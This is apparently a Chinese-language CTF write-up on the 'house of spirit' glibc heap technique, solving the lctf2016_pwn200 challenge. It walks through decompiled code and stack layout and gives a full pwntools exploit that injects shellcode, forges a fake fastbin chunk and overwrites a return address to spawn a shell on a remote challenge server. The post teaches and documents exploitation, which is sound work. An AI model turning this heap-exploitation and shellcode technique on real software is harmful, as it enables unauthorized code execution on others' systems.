[pwn][堆利用]house of spirit[例题：lctf2016_pwn200]

原创

zltt197 于 2020-11-21 09:50:54 发布

分类专栏： pwn 文章标签： pwn

House of spirit

实现目的

- malloc分配到目标地址

实现条件

- free的参数可控
- 目标地址可以连续构造两个fake chunk的size域，需要地址对齐(即目标高低地址处均有可控区域)

实现方法

- 在目标地址伪造可以被释放到fastbin上的fake chunk
- 伪造fake chunk的同时伪造好其下一个chunk(物理上的)的size域
- 将目标地址作为参数free
- malloc一次，将返回指向目标地址的指针

实现实例

题目平台

- buuctf

题目名称

- lctf2016_pwn200

分析步骤

- 常规检查

```
[*] '/home/cz/Desktop/1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

防护全闭

- 逐步分析

```
1 int name()
2 {
3   signed __int64 i; // [rsp+10h] [rbp-40h]
4   char v2[48]; // [rsp+20h] [rbp-30h]
5
6   puts("who are u?");
7   for ( i = 0LL; i <= 0x2F; ++i )
8   {
9     read(0, &v2[i], 1uLL);
10    if ( v2[i] == 10 )
11    {
12      v2[i] = 0;
13      break;
14    }
15  }
16  printf("%s, welcome to ISCC~ \n", v2);
17  puts("give me your id ~~?");
18  get_id();
19  return sub_400A29();
20 }
```


输入名字时没有溢出，但是存在泄露

```
-0000000000000040 var_40          dq ?
-0000000000000038 var_38          dq ?
-0000000000000030 var_30          db 48 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

根据栈帧结构，被泄露的地方应该是rbp

```
... ↓
04:0020      0x7fffffffdf28 → 0x7ffff7a24740 (atoi+16) ← add    rsp, 8
05:0028      0x7fffffffdf30 ← 9 /* '\t' */
06:0030      0x7fffffffdf38 → 0x4008b5 ← leave
07:0038      0x7fffffffdf40 → 0x7fffffffdf00 → 0x7fffffffe0b0 ← 0x1
08:0040      0x7fffffffdf48 → 0x603260 ← 0x0
09:0048 rbp  0x7fffffffdf50 → 0x7fffffffdfb0 → 0x7fffffffdfd0 → 0x400b60 ← push   r15
0a:0050      0x7fffffffdf58 → 0x400b34 ← leave
0b:0058      0x7fffffffdf60 → 0x7ffff7dcc2a0 (_IO_file_jumps) ← add    byte ptr [rax], al
0c:0060      0x7fffffffdf68 → 0x7ffff7a6e8c9 (_IO_file_setbuf+9) ← test   rax, rax
0d:0068      0x7fffffffdf70 ← 0x30 /* '0' */
0e:0070      0x7fffffffdf78 ← 0x0
0f:0078      0x7fffffffdf80 ← 0x6161616161616161 ('aaaaaaaa')
10:0080      0x7fffffffdf88 ← 0x6262626262626262 ('bbbbbbbb')
11:0088      0x7fffffffdf90 ← 0x6363636363636363 ('cccccccc')
12:0090      0x7fffffffdf98 ← 0x6161616161616161 ('aaaaaaaa')
13:0098      0x7fffffffdfa0 ← 0x6262626262626262 ('bbbbbbbb')
14:00a0      0x7fffffffdfa8 ← 0x6363636363636363 ('cccccccc')
15:00a8      0x7fffffffdfb0 → 0x7fffffffdfd0 → 0x400b60 ← push   r15
16:00b0      0x7fffffffdfb8 → 0x400b59 ← mov    eax, 0
```


经过gdb调试，确认是rbp，我们可以通过被泄露的rbp推算其他栈上的地址了

```
int sub_4007DF()
{
  int result; // eax
  char nptr[8]; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  v2 = 0;
```

```
  for ( i = 0; i <= 3; ++i )
  {
    read(0, &nptr[i], 1uLL);
    if ( nptr[i] == 10 )
    {
      nptr[i] = 0;
      break;
    }
    if ( nptr[i] > 57 || nptr[i] <= 47 )
    {
      printf("0x%x ", (unsigned int)nptr[i]);
      return 0;
    }
  }
  v2 = atoi(nptr);
  if ( v2 >= 0 )
    result = atoi(nptr);
  else
    result = 0;
  return result;
}
```


继续分析，在获取id时仅能输入三位，并且只能输入数字

ida伪c代码中有一部分并没有显示完全

```
printf("%s, welcome to ISCC~ \n", v2);
puts("give me your id ~~?");
get_id();
return get_money();
```

尽管看上去get_id的返回值没有被保存

但事实上……

```
.text:0000000000400AFA loc_400AFA:                             ; CODE XREF: name+54↑j
.text:0000000000400AFA                 lea     rax, [rbp+var_30]
.text:0000000000400AFE                 mov     rsi, rax
.text:0000000000400B01                 mov     edi, offset aSWelcomeToIscc ; "%s, welcome to ISCC~ \n"
.text:0000000000400B06                 mov     eax, 0
.text:0000000000400B0B                 call    _printf
.text:0000000000400B10                 mov     edi, offset aGiveMeYourId ; "give me your id ~~?"
.text:0000000000400B15                 call    _puts
.text:0000000000400B1A                 mov     eax, 0
.text:0000000000400B1F                 call    get_id
.text:0000000000400B24                 cdqe
.text:0000000000400B26                 mov     [rbp+var_38], rax
.text:0000000000400B2A                 mov     eax, 0
.text:0000000000400B2F                 call    get_money
.text:0000000000400B34                 leave
.text:0000000000400B35                 retn
.text:0000000000400B35 ; } // starts at 400A8E
.text:0000000000400B35 name            endp
```


从汇编代码可以看出，get_id的值被保存在了name的上面

```
-000000000000004A                db ? ; undefined
-0000000000000049                db ? ; undefined
-0000000000000048                db ? ; undefined
-0000000000000047                db ? ; undefined
-0000000000000046                db ? ; undefined
-0000000000000045                db ? ; undefined
-0000000000000044                db ? ; undefined
-0000000000000043                db ? ; undefined
-0000000000000042                db ? ; undefined
-0000000000000041                db ? ; undefined
-0000000000000040 var_40         dq ?
-0000000000000038 var_38         dq ?
-0000000000000030 var_30         db 48 dup(?)
+0000000000000000  s              db 8 dup(?)
```

```
+0000000000000008  r               db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

进入get_money

```
int sub_400A29()
{
  char buf; // [rsp+0h] [rbp-40h]
  char *dest; // [rsp+38h] [rbp-8h]

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, &buf, 0x40uLL);
  strcpy(dest, &buf);
  ptr = dest;
  return print_menu();
}
```

首先malloc了一个0x40的chunk，向其中输入最多0x40个字 节，然后将chunk位置保存在全局变量ptr中

在向chunk中读入内容时存在溢出

```
read(0, &buf, 0x40uLL);

-0000000000000040 buf             db ?

-0000000000000009                 db ? ; undefined
-0000000000000008 dest            dq ?                    ; offset
+0000000000000000  s              db 8 dup(?)
```

可以修改被保存在ptr上的chunk位置

```
int print_menu()
{
  int v0; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      meun();
      v0 = get_id();
      if ( v0 != 2 )
        break;
      out();
    }
    if ( v0 == 3 )
      break;
    if ( v0 == 1 )
      in();
    else
      puts("invalid choice");
  }
  return puts("good bye~");
}
```

在用户选单中，选择out会把ptr上保存的chunk立即free掉，并将ptr置零，选择in会检测ptr是否为0，如果为0则malloc一个大小在0~0x80内的chunk

通过对伪代码的分析，可以发现程序的结构是函数一个个的调用，这种结构很容易造成返回地址的低地址和高地址可控。同时，由于第一次申请chunk时存在的溢出，可以控制一次free的参数，满足house of spirit的条件

在gdb调试的过程中可以发现，0x7fffffffdf78保存了我们输入的id，而0x7fffffffdf10保存了我们输入第一个堆块的内容，0x7fffffffdf10往下0x40个字节都是我们的可控位置，在二者之间保存了get_money的返回地址

- 此时完整的攻击思路出来了
  - 利用get_name处的泄漏点获取栈地址，并写入shellcode
  - 在get_id处伪造fake chunk的下一个chunk(物理上的)的saze域
  - 在get_money处伪造fake chunk并利用溢出改写ptr上的值为fake chunk的地址
  - free fake chunk
  - malloc回来，改写返回地址为shellcode
  - 选择退出，触发被改写的返回地址，执行shellcode
  - getshell

- 按照思路编写writeup
  - 泄露栈地址，写入shellcode

```
pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.sendafter("who are u?",pay)
p.recvuntil(pay)
stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
print "stack add="+hex(stack_add)
fake_chunk=stack_add-0xb0
name_add=stack_add-0x50
```

  - 伪造fake chunk以及其后的chunk size

```
p.sendlineafter("give me your id ~~?","97")
pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
p.sendafter("give me money~",pay);
```

  - free然后malloc回来

```
p.sendlineafter("your choice :","2")
p.sendlineafter("your choice :","1")
p.sendlineafter("how long?","80")
pay="\x00"*0x38+p64(name_add)
p.sendlineafter("give me more money :",pay);
```

  - getshell

- getshell

```
p.sendlineafter("your choice :","3")
```

- 完整wp

```
from pwn import*
from LibcSearcher import*
context(arch='amd64',os='linux',log_level='debug')
#p=process("./1")
p=remote('node3.buuoj.cn','29646')
elf=ELF("./1")

pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.sendafter("who are u?",pay)
p.recvuntil(pay)
stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
print "stack add="+hex(stack_add)
fake_chunk=stack_add-0xb0
name_add=stack_add-0x50

p.sendlineafter("give me your id ~~?","97")
pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
p.sendafter("give me money~",pay);

p.sendlineafter("your choice :","2")
p.sendlineafter("your choice :","1")
p.sendlineafter("how long?","80")
pay="\x00"*0x38+p64(name_add)
p.sendlineafter("give me more money :",pay);
p.sendlineafter("your choice :","3")

p.interactive()
```

- 运行效果

```
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2b bytes:
    'flag{e2e9fe71-0c08-43f7-b97c-5fab9c22d998}\n'
flag{e2e9fe71-0c08-43f7-b97c-5fab9c22d998}
```

总结：house of spirit的原理是绕过free到fastbin上的检查，使得一块本来我们不具有写能力的内存被malloc返回。这种漏洞点容易出现在一个函数调用另一个函数，并且两个函数在栈上都有可控区间的情况下，在这种情况下，我们可以通过house of spirit获得修改返回地址的能力，从而劫持程序流。